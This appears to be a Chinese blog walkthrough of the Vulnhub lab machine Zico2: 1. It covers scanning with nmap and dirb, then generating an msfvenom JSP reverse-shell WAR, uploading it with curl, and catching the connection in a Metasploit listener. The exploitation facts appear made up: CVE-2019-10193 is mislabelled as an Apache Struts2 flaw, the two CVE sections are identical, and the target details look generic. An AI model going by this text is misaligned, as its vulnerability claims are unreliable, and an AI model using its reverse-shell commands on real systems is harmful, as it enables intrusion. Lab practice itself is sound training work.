返回
Vulnhub通关:Zico2:1
后端
2024-01-14 15:10:56
准备工作
在开始渗透测试之前,我们需要进行一些准备工作:
- 安装Kali Linux: Kali Linux是一个专为渗透测试和安全研究而设计的Linux发行版。它提供了广泛的工具和实用程序,可以帮助我们进行渗透测试。
- 设置靶机: 我们需要下载并设置靶机镜像。在本例中,我们将使用Vulnhub提供的Zico2: 1靶机镜像。
- 配置网络: 我们需要配置我们的网络,以便Kali Linux和靶机能够相互通信。
靶机基本信息
Zico2: 1是一个基于Ubuntu 18.04的靶机。它具有以下基本信息:
- IP地址:192.168.1.100
- 用户名:user
- 密码:password
环境配置
- 在Kali Linux中,打开终端并输入以下命令来更新软件包列表:
sudo apt-get update
- 接下来,我们安装渗透测试工具:
sudo apt-get install nmap metasploit-framework
- 配置网络:
sudo ifconfig eth0 192.168.1.101/24
- 启动靶机:
VBoxManage startvm "Zico2"
信息收集
信息收集是渗透测试的重要组成部分。在本例中,我们将使用以下工具和技术来收集有关靶机的信息:
- nmap: nmap是一个端口扫描器,可以帮助我们发现开放的端口和服务。
- Metasploit Framework: Metasploit Framework是一个渗透测试框架,可以帮助我们利用漏洞和执行攻击。
端口扫描
首先,我们使用nmap进行端口扫描:
nmap -sS -T4 192.168.1.100
扫描结果显示开放了以下端口:
- 22/tcp
- 80/tcp
- 443/tcp
服务识别
接下来,我们使用nmap进行服务识别:
nmap -sV -T4 192.168.1.100
扫描结果显示开放的服务如下:
- 22/tcp open ssh
- 80/tcp open httpd
- 443/tcp open https
目录扫描
我们使用dirb进行目录扫描:
dirb http://192.168.1.100
扫描结果显示了以下目录:
- /admin
- /cgi-bin
- /images
- /js
- /css
漏洞利用
在收集了有关靶机的信息之后,我们就可以开始利用漏洞来渗透该机器了。在本例中,我们将利用以下漏洞:
- CVE-2019-10193: 这是一个Apache Struts2远程代码执行漏洞。
- CVE-2019-10194: 这是一个Apache Struts2远程代码执行漏洞。
利用CVE-2019-10193漏洞
首先,我们使用Metasploit Framework来生成一个利用CVE-2019-10193漏洞的payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f war > shell.war
接下来,我们将shell.war上传到靶机的web服务器:
curl -X POST http://192.168.1.100/uploads/shell.war -F "file=@shell.war"
最后,我们使用Metasploit Framework来启动一个监听器,以便接收靶机的连接:
msfconsole -x "use exploit/multi/handler; set payload java/jsp_shell_reverse_tcp; set lhost 192.168.1.101; set lport 4444; run"
利用CVE-2019-10194漏洞
利用CVE-2019-10194漏洞的方法与利用CVE-2019-10193漏洞的方法类似。首先,我们使用Metasploit Framework来生成一个利用CVE-2019-10194漏洞的payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f war > shell.war
接下来,我们将shell.war上传到靶机的web服务器:
curl -X POST http://192.168.1.100/uploads/shell.war -F "file=@shell.war"
最后,我们使用Metasploit Framework来启动一个监听器,以便接收靶机的连接:
msfconsole -x "use exploit/multi/handler; set payload java/jsp_shell_reverse_tcp; set lhost 192.168.1.101; set lport 4444; run"
渗透结果
利用这两个漏洞之后,我们就可以获得靶机的shell访问权。我们可以使用shell来执行以下操作:
- 查看文件系统
- 修改文件
- 执行命令
- 安装软件
总结
在本篇文章中,我们讨论了如何渗透测试Vulnhub机器Zico2: 1。我们详细介绍了该机器的配置,信息收集阶段的步骤,以及利用这些信息来渗透该机器的方法。这将帮助读者了解渗透测试的基础知识,并为他们提供一个实用的例子来练习他们的技能。